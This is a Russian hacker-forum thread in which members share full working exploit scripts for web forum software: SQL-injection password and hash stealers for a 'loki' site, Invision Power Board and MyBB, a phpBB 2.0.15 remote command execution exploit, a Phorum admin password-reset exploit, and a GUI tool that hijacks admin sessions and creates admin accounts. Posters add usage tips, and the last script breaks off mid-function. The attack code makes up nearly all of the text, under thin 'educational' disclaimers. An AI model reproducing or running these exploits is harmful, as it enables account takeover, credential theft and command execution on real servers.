Эксплойты, код Опции

[Конан]

ПРедлагаю сюда выкладывать код эксплойтов. ( Чисто в эксперементальных целях)


Добавлено PriZrak'ом
Эксплойты выкладываются только для ознакомительных целей и не более, всю ответственность за использование эксплойтов администрация НЕ несёт!

CODE

#!/usr/bin/perl
# Sploit for fukin loki.
# (c) Nikita I Kilistin, 2005. for "XAKEP" mag
# mailto:nikitoz@glc.ru

use IO::Socket;
$debug=1;
$host = $ARGV[0];
$path = $ARGV[1];
$port=80;
if (@ARGV<2) {
print "\n\n te.pl [host] [path]\n\n";
exit(1);
}
$se="error_occ";
$i=0;
while($se=~/error_occ/) {
print "\n----------------------\n[.]Conecting to $host:$port\n";
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
$iaddr = inet_aton($host);
$paddr = sockaddr_in($port, $iaddr);
connect(SOCK, $paddr);
print "[+]Conected\n";
print "[.]Sending request\n";
$quest="GET $path/catinfo.asp?cat='%20union%20select%201,pass,user,1,1,1,1,1,1,1";
for($j=0; $j<$i;$j++) {
$quest.=",1";
}
$quest.="%20from%20tblAdm";

#$param="catinfo.asp?cat='%20union%20select%201,pass,user,1,1,1,1,1,1,1,1,1,1,1,1%20from%20tblAdm";
$quest.=" HTTP/1.1\n";

$quest.="Host: $host\n\n\r\n\n";
$k=$i+10;
print "Number of params: ".$k."\n";
print "\n".$quest."\n";
send (SOCK, $quest, 0);
print "[+]Data Sent\n";
$se="no_error";
print "[.]Analysing reply\n";
while($data=<SOCK>) {
#print $data;
if ($data=~/Internal Server Error/ or $data=~/Database Engine error/) {
print "[+]Eror uccured, we have to increment params number...\n";
$se="error_occ";
}

if($m>5 and $se=="no_error") {

}

}
close(SOCK);
$i++;
}
print "[+]Optimal number of params found: ".$k."\n";
print "[+]Vulnerable quest is: ".$quest."\n";
print "[.]Getting login and password";

print "\n----------------------\n[.]Conecting to $host:$port\n";
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
$iaddr = inet_aton($host);
$paddr = sockaddr_in($port, $iaddr);
connect(SOCK, $paddr);
print "[+]Conected\n";
send (SOCK, $quest, 0);
print "[.]Parsing data\n";

$found=0;
while($data=<SOCK>) {
# <a href="download.asp?file_id=lonmetuibay" target="_blank">adminngu</a>

if($found==0 and $data=~/<a href=\"download\.asp\?file_id=([\w\s]{1,30})\"[\s]{1,5}target=\"_blank\">([\w\s]{1,30})<\/a>/) {
print "[+]Login and Passwd are stolen:\n";
#print $data."\n";
print "$2 : $1\n"; $found=1;}
}

Вышепреведённый сплойт для локи. Ознакомительная версия.

[PINguin]

да-да!
Обожаю!
Эксплоиты- это руль!

Для phpBB =)

Кстати, а что такое- локи? =\

CODE

#!/usr/bin/perl
#This exploit is wrighten with education purpose only ! I'm not responsible for your actions
#If you have questions matrix_k@abv.bg or matrix_killer@ra4ev.com
#Have a nice day and don't exploit too much :)

use IO::Socket;

if (@ARGV < 4) {&help};
$pl = 0;
$victim = $ARGV[0];
$folder = $ARGV[1];
$topic = $ARGV[2];
$cmd = $ARGV[3];

print "\nroot\@omega: $cmd \n";
print "--------------------------------------------------------------------------------\n";


$cmd=~ s/(.*);$/$1/eg;
$cmd=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;


$xpl = $folder;
$xpl .= 'viewtopic.php?t=';
$xpl .= $topic;
$xpl .= '&cmd=%65%63%68%6F%20%5F%4F%4D%45%47%41%5F%3B%20';
$xpl .= $cmd;
$xpl .= '%3B%20%65%63%68%6F%20%5F%4D%4B%5F';
$xpl .= '&highlight=%27%2E%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%63%6D%64%5D%29%2E%27';

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$victim", PeerPort => "80") || die "can't connect\n";

print $socket "GET $xpl HTTP/1.1\n";
print $socket "Host: $victim\n";
print $socket "Accept: */*\n";
print $socket "Http-Referer: http://zone-h.org\n";
print $socket "User-Agent: phpbb 2.0.15 exploit by matrix_killer\n";
print $socket "Pragma: no-cache\n";
print $socket "Cache-Control: no-cache\n";
print $socket "Connection: close\n\n";
while ($answer = <$socket>)
{
if ($answer =~ /^_MK_/) { exit(); }
if ($pl == 1) {
print " $answer"; }

if ($answer =~ /^_OMEGA_/) { $pl = 1; }
}


sub help {
print "\n";
print (<<"end");
======================================================
phpbb 2.0.15 remote command execution exploit
exploit coded by matrix_killer
greets to all omega-team members
usage:perl phpbb2015.pl <victim> </path/> <topic> <cmd>
example: perl phpbb2015.pl www.host.com /forum/ 12 "id"
======================================================
end
exit(1);
};

[Конан]

Это про одну статейку из хакера... Скоро я её выложу! =)))

p.S. У тебя эксплойт на получение админских прав?

[Siras]

вы хоть когда сплоиты выкладываете подписывайте под что и какую версию и что именно делает сплоит

[PINguin]

Призрак, а это уже защита от киддисов такая =)

[interactiv]

что нить для phpBB 2.0.17 есть?
--

для Инвизиона..думаю уже заюзан всеми и вся..но все же..раз уж начали..

CODE

#!/usr/bin/perl

## Invision Power Board SQL injection exploit by RST/GHC
## vulnerable forum versions : 1.* , 2.* (<2.0.4)
## tested on version 1.3 Final and version 2.0.2
## * work on all mysql versions
## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
## (c)oded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## screen:
## ~~~~~~~
## r57ipb2.pl blah.com /ipb13/ 1 0
## [~] SERVER : blah.com
## [~] PATH : /ipb13/
## [~] MEMBER ID : 1
## [~] TARGET : 0 - IPB 1.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99
##
## r57ipb2.pl blah.com /ipb202/ 1 1
## [~] SERVER : blah.com
## [~] PATH : /ipb202/
## [~] MEMBER ID : 1
## [~] TARGET : 1 - IPB 2.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Greets: James Bercegay of the GulfTech Security Research Team
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Credits: RST/GHC , http://rst.void.ru , http://ghc.ru
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

use IO::Socket;

if (@ARGV < 4) { &usage; }

$server = $ARGV[0];
$path = $ARGV[1];
$member_id = $ARGV[2];
$target = $ARGV[3];

$pass = ($target)?('member_login_key'):('password');

$server =~ s!(http:\/\/)!!;

$request = 'http://';
$request .= $server;
$request .= $path;

$s_num = 1;
$|++;
$n = 0;

print "[~] SERVER : $server\r\n";
print "[~] PATH : $path\r\n";
print "[~] MEMBER ID : $member_id\r\n";
print "[~] TARGET : $target";
print (($target)?(' - IPB 2.*'):(' - IPB 1.*'));
print "\r\n";
print "[~] SEARCHING PASSWORD ... [|]";

($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

while(1)
{
if(&found(47,58)==0) { &found(96,122); }
$char = $i;
if ($char=="0")
{
if(length($allchar) > 0){
print qq{\b\b DONE ]

MEMBER ID : $member_id
};
print (($target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : '));
print $allchar."\r\n";
}
else
{
print "\b\b FAILED ]";
}
exit();
}
else
{
$allchar .= chr($i);
}
$s_num++;
}

sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }

$r = int($fmax - ($fmax-$fmin)/2);
$check = " BETWEEN $r AND $fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}

sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}

sub check($)
{
$n++;
status();
$ccheck = $_[0];
$pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D";
$pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%72%69%6E%67%28";
$pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*";
$pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$nmalykh = "%26%231054%3B%26%231081%3B+%26%231088%3B%26%231072%3B%26%231073%3B%26%231086%3B%26%231090%3B%26%231072%3B%26%231077%3B%26%231090%3B%21";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");

printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n",
$path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3,$nmalykh);

while(<$socket>)
{
if (/Set-Cookie: session_id=0;/) { return 1; }
}

return 0;
}

sub status()
{
$status = $n % 5;
if($status==0){ print "\b\b/]"; }
if($status==1){ print "\b\b-]"; }
if($status==2){ print "\b\b\\]"; }
if($status==3){ print "\b\b|]"; }
}

sub usage()
{
print q(
Invision Power Board v < 2.0.4 SQL injection exploit
----------------------------------------------------
USAGE:
~~~~~~
r57ipb2.pl [server] [/folder/] [member_id] [target]

[server] - host where IPB installed
[/folder/] - folder where IPB installed
[member_id] - user id for brute

targets:
0 - IPB 1.*
1 - IPB 2.* (Prior To 2.0.4)

e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1
----------------------------------------------------
(c)oded by 1dt.w0lf
RST/GHC , http://rst.void.ru , http://ghc.ru
);
exit();
}

[interactiv]

кстати как заюзать эксплоит на Питоне?

[PINguin]

\\\кстати как заюзать эксплоит на Питоне?
Хех, интерпритатором обработать, как еще-то
На Линуксе это не проблема

Для phpBB 17 только вроде XSS работает

SQL-инъекция для MyBB ^_^

CODE

..:[ MyBB member.php SQL Injection ]:..


<?php
// the example below will attack http://www.example.com/mybb/
echo 'Pass:' . get_pass('www.example.com', '/mybb', '');

function get_pass($host, $path, $dbprefix) {
$query[] = 'uid=' . urlencode ("1' UNION SELECT 10000, 200, password AS type FROM {$dbprefix}users WHERE uid=1 ORDER BY uid DESC/*");

$query = implode('&', $query);

$header = "POST $path/member.php?action=avatar HTTP/1.1\r\n";
$header .= "Host: $host\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Content-Length: " . strlen($query) . "\r\n\r\n";

$fp = fsockopen($host, 80, $errno, $errstr, 30);
fwrite($fp, $header . $query);

$allah = '';
while (!feof($fp)) {
$tmp = fgets($fp, 1024);
$allah .= $tmp;
}
fclose($fp);

preg_match('/\: ([a-z0-9]{32})/i', $allah, $matches);
if (empty($matches[1]) && empty($dbprefix)) {
preg_match('#FROM (\w+)avatars WHERE#i', $allah, $matches);
$dbprefix = $matches[1];
if (empty($dbprefix)) {
return 'Unable to obtain password';
}
$password = get_pass($host, $path, $dbprefix);
}
else {
$password = $matches[1];
}

return $password;
}

?>

[interactiv]

\\\кстати как заюзать эксплоит на Питоне?
Хех, интерпритатором обработать, как еще-то
На Линуксе это не проблема

эт я и так знаю

Для phpBB 17 только вроде XSS работает

да эт на большенстве версий катит
ченить еще там есть? или наконец то все заделали?

[Siras]

эт я и так знаю

Дык а в чём проблема?)

[iNcluDe]

Баг нашел я , а сплоит написал Dukenn

CODE

#!/usr/bin/perl

use IO::Socket;

sub urlencode {
my $theURL = $_[0];
my $MetaChars = quotemeta( ';,/?\|=+)(*&^%$#@!~`:"');
$theURL =~ s/([$MetaChars\"\'\x80-\xFF])/"%" .
uc(sprintf("%2.2x", ord($1)))/eg;
$theURL =~ s/ /\+/g;
return $theURL;
}

print "\nPhorum <=5.0.20 Password Reseting Exploit by dukenn (AntiSecurity Team)\n";

if (@ARGV<4)
{
print "Usage: perl ibstore.pl <host> <path> <victim_id> <new_password>\n";
}
else {
$host = $ARGV[0];
$path = $ARGV[1];
$uid = $ARGV[2];
$pwd = $ARGV[3];

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] ConnectError!\n";

$data ="------------hF8kqSOu5biNK5h9wqCl4W\nContent-Disposition: form-data; name=\"GLOBALS[PHORUM][user][admin]\"\n\n1\n";
$data.="------------hF8kqSOu5biNK5h9wqCl4W\nContent-Disposition: form-data; name=\"module\"\n\nusers\n";
$data.="------------hF8kqSOu5biNK5h9wqCl4W\nContent-Disposition: form-data; name=\"section\"\n\nmain\n";
$data.="------------hF8kqSOu5biNK5h9wqCl4W\nContent-Disposition: form-data; name=\"user_id\"\n\n".$uid."\n";
$data.="------------hF8kqSOu5biNK5h9wqCl4W\nContent-Disposition: form-data; name=\"email\"\n\nlol%40lol.lol\n";
$data.="------------hF8kqSOu5biNK5h9wqCl4W\nContent-Disposition: form-data; name=\"password1\"\n\n".urlencode($pwd)."\n";
$data.="------------hF8kqSOu5biNK5h9wqCl4W\nContent-Disposition: form-data; name=\"password2\"\n\n".urlencode($pwd)."\n";
$data.="------------hF8kqSOu5biNK5h9wqCl4W\nContent-Disposition: form-data; name=\"signature\"\n\nlol\n";
$data.="------------hF8kqSOu5biNK5h9wqCl4W\nContent-Disposition: form-data; name=\"active\"\n\n1\n";
$data.="------------hF8kqSOu5biNK5h9wqCl4W\nContent-Disposition: form-data; name=\"admin\"\n\n1\n";

print $sock "POST ".$path."admin.php HTTP/1.0\n";
print $sock "Host: ".$host."\n";
print $sock "Content-Length: ".length($data)."\n";
print $sock "Content-Type: multipart/form-data; boundary=----------hF8kqSOu5biNK5h9wqCl4W\n\n".$data;

$good=0;
while ($ans = <$sock>)
{
if ($ans =~ /User Saved/) {$good=1;last;}
}

if ($good eq 1) {print "[+] Reseting password to ".$pwd."\n";}
else {print "[-] Failed\n";}
close($sock);
}

[Туранчокс]

А как ваще эксплойты юзать? Куды их засовывать?
(варианты "в жёппу" не принимаюцца)

[iNcluDe]

скачай интерпритатор перла
А потом через командную строку прописывай путь к сплоиты

Например для последнего сплоита
С:\sploit.pl fackhost.com /phorum/ 1 qwerty

[Sugar]

Cплоит сперт из rst




#!/usr/bin/perl
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
&header();
if (@ARGV < 2) {&info(); exit();}
$server = $ARGV[0];
$dir = $ARGV[1];
print "[+] SERVER {$server}\r\n";
print "[+] DIR {$dir}\r\n";
#Step 1, detecting vulnerability
print "[1] Testing forum vulnerability...";
$q = "UNION SELECT 'VULN',1,1,1/*";
query($q,$server,$dir);
if($rep =~/VULN/){ print "forum vulnerable\r\n"; }
else
{
print "forum unvulnerable\r\n";
&footer();
exit();
}
#Step 2, detecting prefix
print "[2] Searching prefix...";
$q = "";
query($q,$server,$dir);
$prefix = $rep;
print $prefix."\r\n";
#Step 3, make query
print "[3] Performing query; it may take several minutes, plz, wait...\r\n";
$q1 = "UNION SELECT MAX(converge_id),1,1,1 FROM ".$prefix."members_converge/*";
query($q1,$server,$dir);
$kol = $rep;
open(RES,">".$server."_result.txt");
for($id = 1; $id <= $kol; $id++)
{
$own_query = "UNION SELECT converge_pass_hash,1,1,1 FROM ".$prefix."members_converge WHERE converge_id=".$id."/*";
query($own_query,$server,$dir);
if($rep=~/[0-9a-f]{32}/i)
{
$hash = $rep;
$own_query = "UNION SELECT converge_pass_salt,1,1,1 FROM ".$prefix."members_converge WHERE converge_id=".$id."/*";
query($own_query,$server,$dir);
if(length($rep)==5)
{
$salt = $rep;
$own_query = "UNION SELECT converge_email,1,1,1 FROM ".$prefix."members_converge WHERE converge_id=".$id."/*";
query($own_query,$server,$dir);
if(length($rep)>0)
{
$email = $rep;
print RES $id.":".$hash.":".$salt."::".$email."\n";
}
}
}
}
close(RES);
print "[!] Query was successfully perfomed. Results are in txt files\r\n";
&footer();
$ex = <STDIN>;
sub footer()
{
print "[G] Greets: 1dt.w0lf (rst/ghc)\r\n";
print "[L] Visit: secbun.info | damagelab.org | rst.void.ru\r\n";
}
sub header()
{
print q(
----------------------------------------------------------
* Invision Power Board 2.1.* Remote SQL Injecton Exploit *
* Based on r57-Advisory#41 by 1dt.w0lf (rst/ghc) *
* Coded by w4g.not null *
* FOR EDUCATIONAL PURPOSES *ONLY* *
----------------------------------------------------------
);
}
sub info()
{
print q(
[i] Usage: perl w4gipb216.pl [server] [/dir/]
where
|- server - server, where IPB installed without http://
|- /dir/ - dir, where IPB installed or / for no dir
e.g perl w4gipb216.pl someserver.com /forum/
[i] Stealing info about users (format id:pass:salt::email)
[!] Need MySQL > 4.0
);
}
sub query()
{
my($q,$server,$dir) = @_;
$res = $ua->get("http://".$server.$dir."index.php?s=w00t",'USER_AGENT'=>'','CLIENT_IP'=>"' ".$q);
if($res->is_success)
{
$rep = '';
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
else
{
if($res->as_string =~ /FROM (.*)sessions/) { $rep = $1; }
}
}
return $rep;
}

# milw0rm.com





Сообщение отредактировал Sugar - Jan 26 2007, 21:56

[Sugar]

made in rst



#!/usr/bin/perl

## Invision Power Board v2.1 <= 2.1.6 sql injection exploit by RST/GHC
## Based on LOCAL_IP bug, more info in RST/GHC Advisory#41
## tested on 2.1.3, 2.1.6
##
## 08.06.06
## ©oded by 1dt.w0lf
## RST/GHC
use Tk;
use Tk::BrowseEntry;
use Tk::DialogBox;
use LWP::UserAgent;

$mw = new MainWindow(title => "r57ipb216gui" );

$mw->geometry ( '420x550' ) ;
$mw->resizable(0,0);

$mw->Label(-text => '!', -font => '{Webdings} 22')->pack();
$mw->Label(-text => 'Invision Power Board 2.1.* <= 2.1.6 sql injection exploit by RST/GHC', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
$mw->Label(-text => '')->pack();

$fleft=$mw->Frame()->pack ( -side => 'left', -anchor => 'ne') ;
$fright=$mw->Frame()->pack ( -side => 'left', -anchor => 'nw') ;

$url = 'http://server/forum/index.php';
$user_id = '1';
$prefix = 'ibf_';
$table = 'members';
$column = 'member_login_key';
$new_admin_name = 'rstghc';
$new_admin_password = 'rstghc';
$new_admin_email = 'billy@microsoft.com';
$report = '';
$group = 4;
$curr_user = 0;
$rand_session = &session();
$use_custom_fields = 0;
$custom_fields = 'name1=value1,name2=value2';

$fleft->Label ( -text => 'Path to forum index: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$url) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => 'User ID: ', -font => '{Verdana} 8 bold' ) ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$user_id) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => 'Database tables prefix: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$prefix) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fright->Label( -text => ' ')->pack();
$fleft->Label( -text => ' ')->pack();

$fleft->Label ( -text => 'get data from database', -font => '{Verdana} 8 bold',-foreground=>'green') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Label( -text => ' ')->pack();

$fleft->Label ( -text => 'Get data from table: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$b2 = $fright->BrowseEntry( -command => \&update_columns, -relief => "groove", -variable => \$table, -font => '{Verdana} 8');
$b2->insert("end", "members");
$b2->insert("end", "members_converge");
$b2->pack( -side => "top" , -anchor => 'w');

$fleft->Label ( -text => 'Get data from column: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$b = $fright->BrowseEntry( -relief => "groove", -variable => \$column, -font => '{Verdana} 8');
$b->insert("end", "member_login_key");
$b->insert("end", "name");
$b->insert("end", "ip_address");
$b->insert("end", "legacy_password");
$b->insert("end", "email");
$b->pack( -side => "top" , -anchor => 'w' );

$fleft->Label ( -text => 'Returned data: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$report) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => 'create new admin', -font => '{Verdana} 8 bold',-foreground=>'green') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Label( -text => ' ')->pack();

$fleft->Label ( -text => ' ')->pack();

$fright->Checkbutton( -font => '{Verdana} 8', -text => 'Get admin session for inserted user ID', -variable => \$curr_user)->pack(-side => "top" , -anchor => 'w');

$fleft->Label ( -text => 'session_id: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$session_id) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => 'session_ip_address: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$session_ip_address) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => 'new admin name: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$new_admin_name) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => 'new admin password: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$new_admin_password) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => 'new_admin_email: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$new_admin_email) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => ' ')->pack();
$fright->Checkbutton( -font => '{Verdana} 8', -text => 'Use custom profile fields', -variable => \$use_custom_fields)->pack(-side => "top" , -anchor => 'w');

$fleft->Label ( -text => 'custom fields: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$custom_fields) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fright->Label( -text => ' ')->pack();

$fright->Button(-text => 'Test forum vulnerability',
-relief => "groove",
-width => '30',
-font => '{Verdana} 8 bold',
-activeforeground => 'red',
-command => \&test_vuln
)->pack();

$fright->Button(-text => 'Get database tables prefix',
-relief => "groove",
-width => '30',
-font => '{Verdana} 8 bold',
-activeforeground => 'red',
-command => \&get_prefix
)->pack();

$fright->Button(-text => 'Get data from database',
-relief => "groove",
-width => '30',
-font => '{Verdana} 8 bold',
-activeforeground => 'red',
-command => \&get_data
)->pack();

$fright->Button(-text => 'Get admin session',
-relief => "groove",
-width => '30',
-font => '{Verdana} 8 bold',
-activeforeground => 'red',
-command => \&get_admin
)->pack();

$fright->Button(-text => 'Create new admin',
-relief => "groove",
-width => '30',
-font => '{Verdana} 8 bold',
-activeforeground => 'red',
-command => \&create_admin
)->pack();



$fleft->Label( -text => ' ')->pack();
$fleft->Label( -text => ' ')->pack();
$fleft->Label( -text => ' ')->pack();
$fleft->Label( -text => '©oded by 1dt.w0lf', -font => '{Verdana} 7')->pack();
$fleft->Label( -text => 'RST/GHC', -font => '{Verdana} 7')->pack();
$fleft->Label( -text => 'http://rst.void.ru', -font => '{Verdana} 7')->pack();
$fleft->Label( -text => 'http://ghc.ru', -font => '{Verdana} 7')->pack();

MainLoop();

sub update_columns()
{
$b->delete(0,"end");
if($table eq 'members'){
$column = "member_login_key";
$b->insert("end", "member_login_key");
$b->insert("end", "name");
$b->insert("end", "ip_address");
$b->insert("end", "legacy_password");
$b->insert("end", "email");
} elsif($table eq 'members_converge'){
$column = "converge_pass_hash";
$b->insert("end", "converge_pass_hash");
$b->insert("end", "converge_pass_salt");
$b->insert("end", "converge_email");
}
}

sub get_admin()
{
$xpl = LWP::UserAgent->new( ) or die;
$InfoWindow=$mw->DialogBox(-title => 'get admin session', -buttons => ["OK"]);
if($curr_user == 1) { $sql = "AND session_member_id = $user_id"; }
else { $sql = ''; }
$res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT session_ip_address,1,1,1 FROM ".$prefix."admin_sessions WHERE session_running_time > (UNIX_TIMESTAMP() - 60*60*2) $sql LIMIT 1/*");
$error = 0;
$rep = '';
if($res->is_success)
{
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
if($rep =~ /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/) { $session_ip_address = $rep; }
else { $error = 1; }
if(!$error)
{
$rep = '';
$res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT session_id,1,1,1 FROM ".$prefix."admin_sessions WHERE session_running_time > (UNIX_TIMESTAMP() - 60*60*2) and session_ip_address = '$session_ip_address' $sql LIMIT 1/*");
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; $session_id = $rep; }
else { $error = 1; }
if(!$error){
if($curr_user != 1)
{
$res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT session_member_id,1,1,1 FROM ".$prefix."admin_sessions WHERE session_id = '$session_id' LIMIT 1/*");
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $session_user_id = $3; }
}
else
{
$session_user_id = $user_id;
}
$res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT mgroup,1,1,1 FROM ".$prefix."members WHERE id = $session_user_id /*");
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $group = $3; }
$res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT name,1,1,1 FROM ".$prefix."members WHERE id = $session_user_id /*");
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $name = $3; }
}
$InfoWindow->add('Label', -text => 'Found session!', -font => '{Verdana} 8 bold',-foreground=>'Green')->pack;
$InfoWindow->add('Label', -text => 'session_ip_address: '.$session_ip_address, -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => 'session_id: '.$session_id, -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => 'user_id: '.$session_user_id, -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => 'username: '.$name, -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => 'group: '.$group, -font => '{Verdana} 8')->pack;
$InfoWindow->Show();
$InfoWindow->destroy;
}
}
else
{
$InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
$InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack;
$InfoWindow->Show();
$InfoWindow->destroy;
}
if($error)
{
$InfoWindow->add('Label', -text => 'Can\'t get admin session.', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
$InfoWindow->add('Label', -text => 'Maybe admin session not exist. Please try later.', -font => '{Verdana} 8')->pack;
$InfoWindow->Show();
$InfoWindow->destroy;
}
}

sub get_data()
{
$xpl = LWP::UserAgent->new( ) or die;
$InfoWindow=$mw->DialogBox(-title => 'get data from database', -buttons => ["OK"]);
if($table eq 'members') { $id_text = 'id'; }
if($table eq 'members_converge') { $id_text = 'converge_id'; }

$res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT ".$column.",1,1,1 FROM ".$prefix.$table." WHERE ".$id_text."=".$user_id."/*");
if($res->is_success)
{
$rep = '';
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/){ $report = $3; }
else
{
$InfoWindow->add('Label', -text => 'Can\'t get data from database', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
$InfoWindow->Show();
$InfoWindow->destroy;
}
}
else
{
$InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
$InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack;
$InfoWindow->Show();
$InfoWindow->destroy;
}
}

sub create_admin()
{
$InfoWindow=$mw->DialogBox(-title => 'create new admin', -buttons => ["OK"]);
if($session_id eq '' || $session_ip_address eq '')
{
$InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
$InfoWindow->add('Label', -text => 'You need insert admin session_id and session_ip_address', -font => '{Verdana} 8')->pack;
}
elsif($session_ip_address !~ /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/)
{
$InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
$InfoWindow->add('Label', -text => 'session_ip_address wrong!', -font => '{Verdana} 8')->pack;
}
else
{
